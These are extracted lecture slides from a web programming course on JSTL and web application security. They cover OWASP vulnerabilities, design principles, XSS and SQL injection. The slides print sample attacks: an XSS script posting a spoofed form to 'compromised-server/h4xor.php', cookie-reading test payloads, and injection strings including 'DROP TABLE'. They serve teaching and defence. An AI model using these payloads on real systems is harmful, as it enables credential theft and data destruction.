Objectives. Security. Fixing Our JSTL Problem. Web Application Architecture. Web Security. A few lines of code can wreak more havoc than a bomb.



Similar documents
What is Web Security? Motivation

Where every interaction matters.

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

The Top Web Application Attacks: Are you vulnerable?

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Sitefinity Security and Best Practices

Web Engineering Web Application Security Issues

Magento Security and Vulnerabilities. Roman Stepanov

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Web Application Security

Passing PCI Compliance How to Address the Application Security Mandates

Columbia University Web Security Standards and Practices. Objective and Scope

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

Barracuda Web Site Firewall Ensures PCI DSS Compliance

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

OWASP Top Ten Tools and Tactics

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

Criteria for web application security check. Version

SY system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users.

Web Application Security

Web Application Security Assessment and Vulnerability Mitigation Tests

Application Security Testing. Generic Test Strategy

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Thick Client Application Security

WEB APPLICATION FIREWALLS: DO WE NEED THEM?

OWASP AND APPLICATION SECURITY

Top Ten Web Application Vulnerabilities in J2EE. Vincent Partington and Eelco Klaver Xebia

Web Application Security

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Recommended Practice Case Study: Cross-Site Scripting. February 2007

Hack Proof Your Webapps

Six Essential Elements of Web Application Security. Cost Effective Strategies for Defending Your Business

Adobe Systems Incorporated

The Weakest Link: Mitigating Web Application Vulnerabilities. webscurity White Paper. webscurity Inc. Minneapolis, Minnesota USA

WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

Essential IT Security Testing

05.0 Application Development

Last update: February 23, 2004

Simon Fraser University. Web Security. Dr. Abhijit Sen CMPT 470

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

How To Fix A Web Application Security Vulnerability

WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6

Cloud Security:Threats & Mitgations

Threats and Attacks. Modifications by Prof. Dong Xuan and Adam C. Champion. Principles of Information Security, 5th Edition 1

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting

Web Application Security

Rational AppScan & Ounce Products

Securing Your Web Application against security vulnerabilities. Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group

Web Application Penetration Testing

Architectural Design Patterns. Design and Use Cases for OWASP. Wei Zhang & Marco Morana OWASP Cincinnati, U.S.A.

WEB SECURITY. Oriana Kondakciu Software Engineering 4C03 Project

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Advanced Web Security, Lab

Penetration Test Report

IBM Protocol Analysis Module

CMSC 421, Operating Systems. Fall Security. URL: Dr. Kalpakis

Web Application Report

Cyber Security In High-Performance Computing Environment Prakashan Korambath Institute for Digital Research and Education, UCLA July 17, 2014

Data Breaches and Web Servers: The Giant Sucking Sound

Web Application Firewall on SonicWALL SSL VPN

Reducing Application Vulnerabilities by Security Engineering

Web application security

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Network Threats and Vulnerabilities. Ed Crowley

Members of the UK cyber security forum. Soteria Health Check. A Cyber Security Health Check for SAP systems

Application security testing: Protecting your application and data

Don t Get Burned! Are you Leaving your Critical Applications Defenseless?

Øredev Web application testing using a proxy. Lucas Nelson, Symantec Inc.

SECURE APPLICATION DEVELOPMENT CODING POLICY OCIO TABLE OF CONTENTS

Web App Security Audit Services

Information Supplement: Requirement 6.6 Code Reviews and Application Firewalls Clarified

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Testing the OWASP Top 10 Security Issues

elearning for Secure Application Development

8070.S000 Application Security

CS5008: Internet Computing

Check list for web developers

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

How To Protect A Web Application From Attack From A Trusted Environment

Network and Host-based Vulnerability Assessment

Table of Contents. Page 2/13

CMPT 471 Networking II

Why Web Applications are making a hackers life easy. Presented by Jon Grew BT SBS

THE HACKERS NEXT TARGET

Columbia University Web Application Security Standards and Practices. Objective and Scope

Top 10 Database. Misconfigurations.

Implementation of Web Application Firewall

Database Security Guide

BASELINE SECURITY TEST PLAN FOR EDUCATIONAL WEB AND MOBILE APPLICATIONS

Protecting Your Organisation from Targeted Cyber Intrusion

Transcription:

Objectives JSTL Review Designing for Security JSTL Review What is the purpose of JSTL? What is the goal of JSTL? What is JSTL? What are some common tags in the JSTL Core library? How do they work? What do they do? Sprenkle - CS297 1 Sprenkle - CS297 2 Fixing Our JSTL Problem cookie is a HashMap Wrong: HashMap.Entry object has no name <h1>cookies:</h1> <c:foreach items="${cookie}" var="entry"> ${entry} - ${entry.name}<br /> </c:foreach> Right: Get the Cookie object out of the HashMap.Entry object <h1>cookies:</h1> <c:foreach items="${cookie}" var="entry"> ${entry.value} - ${entry.value.name} <br /> </c:foreach> Security A few lines of code can wreak more havoc than a bomb. -- Tom Ridge (Former) Secretary of the U.S. Department of Homeland Security Sprenkle - CS297 3 Sprenkle - CS297 4 Web Security Why is the Web a target? Web Application Architecture The big bad world Intranet Internet External Firewall Web Server Application Server with Custom Software Internal Firewall Corporate DB with Sensitive Customer Data Sprenkle - CS297 5 "75% of cyber attacks and Internet security violations are generated through Internet Applications" - Gartner Group From www.itsa.ufl.edu/2006/presentations/malpani.ppt Sprenkle - CS297 6 1

Web Security Why is the Web a target? New environment: lots of vulnerabilities New technologies to exploit Many different targets Web browsers, Web servers, databases, personal computers, network traffic, humans Efficient, lucrative Can get a lot done quickly Personal info, credit card info, databases Businesses: could lose millions of dollars/hour What are some Web vulnerabilities? In the News May 22 in Yahoo! News: LiveLock CEO s identity stolen Sprenkle - CS297 7 Sprenkle - CS297 8 Potential Infections Malicious Code Types Percentage of top 50 by potential infections From Symantic Internet Security Threat Report Potential Infections Virus Attached to a host program Attack infected computer Worm Self-replicated computer program Attack network, consume bandwidth Backdoor Bypass normal authentication Trojan horse Perceived good program that does bad Could install backdoor programs Sprenkle - CS297 9 Sprenkle - CS297 10 OWASP Top 10 Vulnerabilities Unvalidated Input Broken Access Control Broken Account and Session Mgmt Cross-site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure storage Denial of service Insecure configuration management Information from web requests is not validated before being used by a web application Restrictions on what authenticated users are allowed to do are not properly enforced Account credentials and session tokens are not properly protected The web application can be used as a mechanism to transport an attack to an end user s browser Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process Web applications pass parameters when they access external systems or the local operation system Error conditions that occur during normal operation are not handled properly and could result in giving detailed system information to a hacker, or crash the server Web applications frequently use cryptographic functions to protect information and credentials. If not coded properly, it can result in weak protection Attackers can consume web application resources to a point where legitimate users can no longer access or use the application Strong server configuration standard is critical to a secure web application. Servers are not secure out of the box and need to be configured for security Sprenkle - CS297 11 Security Requirements Authentication Verify the user s identity Authorization Give access to resources only to allowed users Confidentiality Ensure that information is passed only to allowed users Integrity Ensure that data is not inappropriately changed Sprenkle - CS297 12 2

Security Design Principles Least Privilege Defense in Depth Secure Weakest Link Fail-safe Stance Secure By Default Simplicity Usability Principle of Least Privilege Give just enough permissions to get the job done Minimize damage if compromised Common world example: Valet Keys Can start the car but can t access glove compartment, trunk A web server should only be given access to the set of HTML files that the web server is to serve If server is compromised, attacker can only read HTML files Defense in Depth Also called redundancy / diversity Common world example: Banks What security does a bank provide so that bad guys won t steal money? Passwords: Require users to choose strong passwords Monitor web server logs for failed login attempts If 3 incorrect password attempts, lock account for some period of time Secure the Weakest Link Common Weak Links: Unsecured Dial-In Hosts - War Dialers Weak Passwords - Crack People - Social Engineering Attacks I am owed an inheritance; you can get a cut if you just give me your bank account number Buffer Overflows Slapper Worm: exploited OpenSSL, Apache to create peer-to-peer networks Not a problem in Java More on this later Fail-Safe Stance Even if 1 or more components of system fail, there is some security Common world example: Elevators If elevator power fails, grip the cable System failure should be expected (and planned for) If firewall fails, let no traffic in Deny access by default Secure By Default Hardening a system: All unnecessary services off by default Only enable the 20% of the products features that are used by 80% of the user population Ex: don t enable insecure Windows networking apps by default If choose to use those apps, know what you re doing More features enabled more potential exploits less security! 3

Simplicity Complex software is more likely to have security holes More code that wasn t tested thoroughly More opportunities for buffer overflows, etc. Keep security checks localized with choke points: centralized piece of code through which control must pass Generally: good rule of thumb to keep software simple Usability Users typically do not read documentation Enable security by default Users can be lazy Assume: They ignore security dialogs Secure by default features in software forces users and vendors to be secure More on usability in a bit Applying Security Can be applied at multiple levels: Web server (e.g., Apache) Servlet container (e.g., Tomcat, Resin) Web application Each level offers different amounts of security and flexibility clients Web Server (Apache) Port 80 servo Servlet Container (Resin or Tomcat) Port 8080 Logic Application Sprenkle - CS297 21 Security Application Levels Web server HTTP authentication Authorization of users/groups Authorization of domains HTTPS: a secure version of HTTP Servlet container HTTP authentication (basic, digest) Form-based authentication Authorization of users/groups SSL capabilities Application Authorization of users User information kept on server in a session Sprenkle - CS297 22 Apache s s User-Level HTTP Passwords Protect a Web-accessible directory with.htaccess file Goes into the directory you want to protect Special format Requires users to enter a username, password to access files in the directory Can also create authorized groups Discussion of Passwords What makes a good password? To the software? To a user? How do passwords, their restrictions affect software? How do they affect those who try to break them? How often should users change their passwords? Sprenkle - CS297 23 Sprenkle - CS297 24 4

Security vs.. Usability Hard to design passwords that are both secure and easy to remember If users have to change their password more than every 6 months, security decreases Come up with schemes to make passwords easier to remember Apache: Access Control Allow or deny requests by their domain Syntax: {allow/deny} from address deny from 11.22.33.44 Every address deny from hostname that matches deny from 192.101.205 192.101.205.xxx deny from exampleone.com exampletwo.com Sprenkle - CS297 25 Sprenkle - CS297 26 Secure Socket Layer (SSL) Encrypt every HTTP message to and from the web server using standard PKI (public key infrastructure) technology De-facto standard used for secure webbased transactions Default URL https://some.domain.com with default port number 443 Application: Careful Exception Handling Effective exception handling is essential in designing for security from the start Sprenkle - CS297 27 Careful Exception Handling Error messages and observable behavior can tip off an attacker to vulnerabilities Be careful not to provide more information to a user than is needed Exploit vulnerabilities using Fault Injection Provide an application with input that it does not expect and observe its behavior Bad guys: Use this to figure out application s vulnerabilities Sever may have fatal exception Sprenkle - CS297 29 Error Pages What you don t want Show the Server s default exception page Show the stack track Looks like your application is broken to user Want error page to look like the rest of your site Sprenkle - CS297 30 5

JSP Error Pages Defining error pages in deployment descriptor (web.xml) Can have user-defined exceptions <error-page> <exception-type>java.lang.throwable</exception-type> <location>/error-page.jsp</location> </error-page> Can be a path to a servlet A JSP Error Page includes <%@ page iserrorpage="true" %> A JSP page can define its error page All thrown exceptions go here, regardless of web.xml <%@ page errorpage="errorpage.jsp" %> Common Attacks & Vulnerabilities Sprenkle - CS297 31 Sprenkle - CS297 32 Denial of Service (DoS( DoS) An attacker makes a web server unavailable Typically, server (or other resource) is flooded with malicious requests Legitimate requests can t get through or the response time is too slow to matter Variations Mail bomb: spam attack on mail server DDoS: multiple clients Could be willing participants or compromised servers Input Validation Vulnerabilities Caused by insufficient input validation Using unvalidated input can cause errors Common attacks: Buffer overflow, Cross site scripting, SQL injection From Web Application Security Consortium Data from 2006 Sprenkle - CS297 34 Buffer Overflows An error caused when a program tries to store too much data in a temporary storage area Exploited by hackers to execute malicious code Cross-Site Scripting (XSS) Cross-site scripting is possible when An adversary tricks a victim into clicking a link crafted and presented to the victim via a web server or email The link contains a URL with embedded malicious script (typically as a query string, for example phishing ) The URL refers to host that echoes input back to a browser without input validation When victim clicks link, goes to the host in the URL Host processes the query string, echoes it to victim's browser Victim's browser executes the malicious script Root Cause: Failure to proactively reject or scrub malicious characters from input vectors Sprenkle - CS297 35 Sprenkle - CS297 36 6

Cross-Site Scripting (XSS) Allows cookie theft, credential theft, data confidentiality, integrity, and availability risks Browser Hijacking and Unauthorized Access to Web Application is also possible using existing exploits Unusual vulnerability because the system at fault, i.e., the web site not validating input, is not the victim of attack Remedy for XSS: web site perform adequate input validation Global policy, Form- and Field- specific policies for handling untrusted content Sequence Diagram of a XSS Attack Attacker Email with link to web site Attacker has access in victim s context Victim Victim navigates to web site Malicious script runs Vulnerable Web Site Sprenkle - CS297 37 Sprenkle - CS297 38 Unvalidated Input with XSS Unvalidated Input with XSS From www.itsa.ufl.edu/2006/presentations/malpani.ppt Sprenkle - CS297 39 From www.itsa.ufl.edu/2006/presentations/malpani.ppt Sprenkle - CS297 40 Unvalidated Input with XSS Unvalidated Input with XSS From www.itsa.ufl.edu/2006/presentations/malpani.ppt Sprenkle - CS297 41 Unvalidated Input resulted in a Cross-Site Scripting Attack and theft of Administrator s Cookie From www.itsa.ufl.edu/2006/presentations/malpani.ppt Sprenkle - CS297 42 7

Cross-Site Scripting: Content Spoofing Insert un-trusted content into the web application that can be used to trick users Compromise the integrity of application code via malicious script code injected into the database Limited only by the attackers imagination Cross-Site Scripting Exploit <script> var owh = window.open("","","width=275, height=175, top=200, left=250 location=no, menubar=no, status=no, toolbar=no, scrollbars=no, resizable=no");owh.document.write( HTML FORM with POST request to http://compromised-server/h4xor.php ); </script> From www.itsa.ufl.edu/2006/presentations/malpani.ppt Sprenkle - CS297 43 From www.itsa.ufl.edu/2006/presentations/malpani.ppt Sprenkle - CS297 44 XSS: Content Spoofing Stored XSS From www.itsa.ufl.edu/2006/presentations/malpani.ppt Sprenkle - CS297 45 http://www.owasp.org/index.php/testing_for_cross_site_scripting Sprenkle - CS297 46 Testing for XSS Test for valid HTML and script code allowed in an input field Special characters like < or > <script>alert( XSS );<script> <script>alert(document.cookie);<script> article.php?title=<meta%20httpequiv="refresh"%20content="0;"> Causes denial of service References: http://ha.ckers.org/xss.html http://www.owasp.org/index.php/testing_for _Cross_site_scripting SQL Injection Possible vulnerability when a program accepts unvalidated input from a user and uses that input to construct a dynamic SQL query to an SQL database Client may construct crafted input that, when embedded in a string, is interpreted as an SQL query Performs database operations not intended by application writers Sprenkle - CS297 47 Sprenkle - CS297 48 8

SQL Injection Possible vulnerability when a program accepts unvalidated input from a user and uses that input to construct a dynamic SQL query to an SQL database Client may construct crafted input that, when embedded in a string, is interpreted as an SQL query Performs database operations not intended by application writers SQL Injection Root Cause: Failure to properly scrub, reject, or escape domain-specific SQL characters from an input vector Solution: Define accepted character-sets for input vectors, and enforce these white lists rigorously. Force input to conform to specific patterns when other special characters are needed: dd-mm-yyyy Use SQL Prepared Statements Sprenkle - CS297 49 Sprenkle - CS297 50 SQL Injection Typical query to email forgotten password: SQL Injection How to exploit: Always true SELECT fieldlist FROM table WHERE field = $EMAIL ; SELECT fieldlist FROM table WHERE field = anything' OR 'x'='x'; Is the input sanitized? Try sprenkles@wlu.edu SELECT fieldlist FROM table WHERE field = sprenkles@wlu ; If not, the query will throw exception Extra quote Query expected to only return one entry This one will return all entries in user table Probably only displays the first response Can start to guess columns in table and table s name Sprenkle - CS297 51 Sprenkle - CS297 52 SQL Injection Suppress the last quote: Example: SQL Tautology Injection Submitting SQL Query logic instead of a valid date can expose confidential records. SELECT email, passwd, login_id, full_name FROM members WHERE email = x' AND members.email IS NULL; --'; SQL Comment Don t need to worry about matching quotes Is database read-only? SELECT email, passwd, login_id, full_name FROM members WHERE email = x'; DROP TABLE members; --';. Sprenkle - CS297 53 From www.itsa.ufl.edu/2006/presentations/malpani.ppt Sprenkle - CS297 54 9

Example: SQL Tautology Injection Submitting SQL Query logic instead of a valid date can expose confidential records.. Validating Input Black list: a list of input types that are expressly forbidden from being used as application input White list: a list of input types that are expressly allowed from being used as application input Generally expressed as regular expressions Input validation must be server side Not in JavaScript From www.itsa.ufl.edu/2006/presentations/malpani.ppt Sprenkle - CS297 55 Sprenkle - CS297 56 Security Features Do Not Imply Security Using one or more security algorithms/protocols will not solve all your problems! Using encryption doesn t protect against weak passwords. Using SSL in a Web server doesn t protect against DoS attacks, access to various files, etc. Security Features Do Not Imply Security Security features may be able to protect against specific threats If the software has bugs, is unreliable, or does not cover all possible corner cases: The system may not be secure despite the security features it has Good Enough Security The fraction of time you spend designing for security in your application should be proportional to the number and types of threats that your software and business face Remember: Customers expect privacy and security Design for security by incorporating hooks and other low-effort functionality from the beginning Add more security as needed without having to resort to work-arounds. Don t t Reinvent the Wheel Building a secure, high-performance web server is a very challenging task Apache: www.apache.org Use trusted components Keep up-to-date with security patches 10

Where Are Our Security Vulnerabilities? TODO Project Final implementation deadline: Fri Documentation: Monday Input validation, PreparedStatements Sprenkle - CS297 61 Sprenkle - CS297 62 11